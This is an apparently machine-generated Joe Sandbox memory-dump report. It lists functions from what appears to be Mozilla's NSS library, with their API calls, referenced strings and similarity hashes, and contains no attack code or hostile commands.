Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 15f64610005bdc1b7cf5fb2cd9b6023ca3a32913d1951c27785d06d383ee6133
Instruction ID: f934bef3957bbd2a01ce7dd92aaa4a016f2bc50d16582b88ed94ba358b558898
Opcode Fuzzy Hash: 15f64610005bdc1b7cf5fb2cd9b6023ca3a32913d1951c27785d06d383ee6133
Instruction Fuzzy Hash: 63613FB5A01706AFD711DF75D844A67BBF8FF08208B04852AE859C7B11FB70E854CBA1

Function 6CB93FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CB94014

Part of subcall function 6CB939F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB95E6F,?), ref: 6CB93A08
Part of subcall function 6CB939F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB95E6F), ref: 6CB93A1C
Part of subcall function 6CB939F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB93A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CB94038

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CB9404D

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CCAA0F4), ref: 6CB940C2

Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBDF0C8
Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBDF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CB9409A

Part of subcall function 6CBDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB940DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB940F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB94108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CB9411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CB94137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CB94150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CCAA1C8), ref: 6CB9417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CB94194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB941A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB941B2
PK11_DestroyObject.NSS3(?,?), ref: 6CB941D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB941FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CCAA1A8), ref: 6CB9422D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 2c1619723497d402483c2ca40c3ffee468ff5c2fd06900069f45267c344e3b22
Instruction ID: 22fa6b913d190ede47bbce1aba6d008c2190ecf3902feb97d9d7a29c3795a80e
Opcode Fuzzy Hash: 2c1619723497d402483c2ca40c3ffee468ff5c2fd06900069f45267c344e3b22
Instruction Fuzzy Hash: 275127B1A403416BF7109B25DC41B6B7AECDF5634CF054938E96AC6F42FB31E5088AA3

Function 6CBD9890 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,00000010,?,?,?,?,00000000,00000010,?,6CBD2403,00000000,00000000), ref: 6CBD9963
PORT_ArenaGrow_Util.NSS3(00000000,00000000,00000000,00000007,00000000,00000010,?,6CBD2403,00000000,00000000), ref: 6CBD98C0

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE136A
Part of subcall function 6CBE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE137E
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?), ref: 6CBE13CF
Part of subcall function 6CBE1340: PR_Unlock.NSS3(?,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE145C

malloc.MOZGLUE(00000007,00000000,00000010,?,6CBD2403,00000000,00000000), ref: 6CBD98D6
free.MOZGLUE(00000000), ref: 6CBD9B90

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&, xrefs: 6CBD9903, 6CBD99AE
pkcs11:, xrefs: 6CBD98F5
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|, xrefs: 6CBD9A53, 6CBD9AF7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Grow_Util$CriticalEnterGrowSectionUnlockValuefreemalloc
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|$pkcs11:
API String ID: 1150520530-890694778
Opcode ID: 35906c1d8a1bed2bc588b9a43f8eb4c9f3ab850c2aa5e918155bbae1e867c1ad
Instruction ID: a35c90c54100ae690265641a0d96778434d749e5c94fd1ace1bb8e86a58f805c
Opcode Fuzzy Hash: 35906c1d8a1bed2bc588b9a43f8eb4c9f3ab850c2aa5e918155bbae1e867c1ad
Instruction Fuzzy Hash: 7DA18370E0034A9BDF04CFA5C860AAEB7B4FF48359F164158D415A7A81EB35BA05CBA2

Function 6CBD8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8E9E
PORT_ArenaAlloc_Util.NSS3(6CCE0B64,00000001,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CBD8E01), ref: 6CBD8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCE0B64,6CCE0B64), ref: 6CBD8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CBD8F3F

Part of subcall function 6CBDA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CBDA421,00000000,00000000,6CBD9826), ref: 6CBDA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBD904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CBD8E76

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b5eedb3fa24c34b66de64fa20adf5f4c9b1d1db503168681a708c5b27acf6408
Instruction ID: aad9e1a2c406e1b6d61d316fde751cc41922099c2ac9dc4be145db09b4d5c621
Opcode Fuzzy Hash: b5eedb3fa24c34b66de64fa20adf5f4c9b1d1db503168681a708c5b27acf6408
Instruction Fuzzy Hash: A2617CB5D002469BDB10CF55DC80AAFBBB9FF88359F154528DC18A7701EB32B915CBA2

Function 6CB88E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB88E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB88E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB88EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CCB18D0,?), ref: 6CB88F03
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB88F19
PL_FreeArenaPool.NSS3(?), ref: 6CB88F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB88F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB88F65
PL_FinishArenaPool.NSS3(?), ref: 6CB88FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB88FFE
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB89012
PL_FreeArenaPool.NSS3(?), ref: 6CB89024
PL_FinishArenaPool.NSS3(?), ref: 6CB8902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB8903E

Strings

security, xrefs: 6CB88EE7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 3d2486eac0dbcd2a2ca179a7b588227449a144da0a91809c1a5618ea7b0d922c
Instruction ID: 480bedc1b14089d3a7c73c80046238b7da26ad2a03b5436045aa27cdefea399b
Opcode Fuzzy Hash: 3d2486eac0dbcd2a2ca179a7b588227449a144da0a91809c1a5618ea7b0d922c
Instruction Fuzzy Hash: 6E5139B1509380ABEB109B58DC41FAF77A8EB8979CF54082EF94597B40E732D908C763

Function 6CC4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC4CC7B), ref: 6CC4CD7A

Part of subcall function 6CC4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CBBC1A8,?), ref: 6CC4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CD8E

Part of subcall function 6CB705C0: PR_EnterMonitor.NSS3 ref: 6CB705D1
Part of subcall function 6CB705C0: PR_ExitMonitor.NSS3 ref: 6CB705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC4CE48

Strings

getnameinfo, xrefs: 6CC4CDB2, 6CC4CE23
getaddrinfo, xrefs: 6CC4CD88, 6CC4CDF9
freeaddrinfo, xrefs: 6CC4CD9F, 6CC4CE10
wship6.dll, xrefs: 6CC4CDE3
ws2_32.dll, xrefs: 6CC4CD75

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 5d1ce93c50c6f70c9f0fd98370e2db964215a3083739095a1bf4f967876882bf
Instruction ID: 4fe2cebd8dd93cdb3df69102988f9301b4bb7720f005eef560803b25d56cc01c
Opcode Fuzzy Hash: 5d1ce93c50c6f70c9f0fd98370e2db964215a3083739095a1bf4f967876882bf
Instruction Fuzzy Hash: 2A11D3B5E0255212EB116BB97C50AAF396C9B4320CF18C535EC15E6F52FB22CA5C87F2

Function 6CC91C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CC913BC,?,?,?,6CC91193), ref: 6CC91C6B
PR_NewLock.NSS3(?,6CC91193), ref: 6CC91C7E

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewCondVar.NSS3(00000000,?,6CC91193), ref: 6CC91C91

Part of subcall function 6CB6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB721BC), ref: 6CB6BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CC91193), ref: 6CC91CA7

Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB6BBEB
Part of subcall function 6CB6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB6BBFB
Part of subcall function 6CB6BB80: GetLastError.KERNEL32 ref: 6CB6BC03
Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB6BC19
Part of subcall function 6CB6BB80: free.MOZGLUE(00000000), ref: 6CB6BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CC91193), ref: 6CC91CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CC91193), ref: 6CC91CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CC91193), ref: 6CC91CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CC91193), ref: 6CC91D1A

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D3D

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CC91193), ref: 6CC91D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CC91193), ref: 6CC91D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CC91193), ref: 6CC91D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CC91193), ref: 6CC91D93
PR_DestroyLock.NSS3(00000000,?,?,6CC91193), ref: 6CC91D9F
free.MOZGLUE(00000000,?,6CC91193), ref: 6CC91DA8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: e624c4a519129731a0d5ea6237babcbc193017a1f014de5f7288aec8d5729ea4
Instruction ID: a44cdb9a00b0c0d2fe63eca26ba4d11dcc8acc5438fadb9939d00538b7c4adcf
Opcode Fuzzy Hash: e624c4a519129731a0d5ea6237babcbc193017a1f014de5f7288aec8d5729ea4
Instruction Fuzzy Hash: 8831D9F1E007415FEB219F69AC41A9B77F8AF0560CF044479E84A87B51FB31E518CBA2

Function 6CBE5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CBE5EC0,00000000,?,?), ref: 6CBE5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CBE5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CBE5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CBE5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CBE5EC0,00000000,?,?), ref: 6CBE5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CBE5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CBE5D80

Strings

multiaccess:, xrefs: 6CBE5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CBE5D1A
extern:, xrefs: 6CBE5CEA, 6CBE5D4B
dbm:, xrefs: 6CBE5D03, 6CBE5D60
sql:, xrefs: 6CBE5CD1, 6CBE5D36

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 11913f7b6d594b85bee609a7b66a2ab239efa83a672eb88a8d886aad844c47f9
Instruction ID: 7fce7f3126f3844c6ef57d306d80a2acdbfea92f6e63b2fd39ce17dbdc2fcbe2
Opcode Fuzzy Hash: 11913f7b6d594b85bee609a7b66a2ab239efa83a672eb88a8d886aad844c47f9
Instruction Fuzzy Hash: 713129F07413A25BEB011B249C4DF663369EF0AB88F144030EE55E6A82F775E519C39B

Function 6CBE6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCB1DE0,?), ref: 6CBE6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CBE6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CBE6D82
DER_GetInteger_Util.NSS3(?), ref: 6CBE6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBE6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CBE6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CBE6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CBE6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CBE6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBE7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CBE7033
free.MOZGLUE(?), ref: 6CBE703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CBE7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CBE7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CBE70AF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
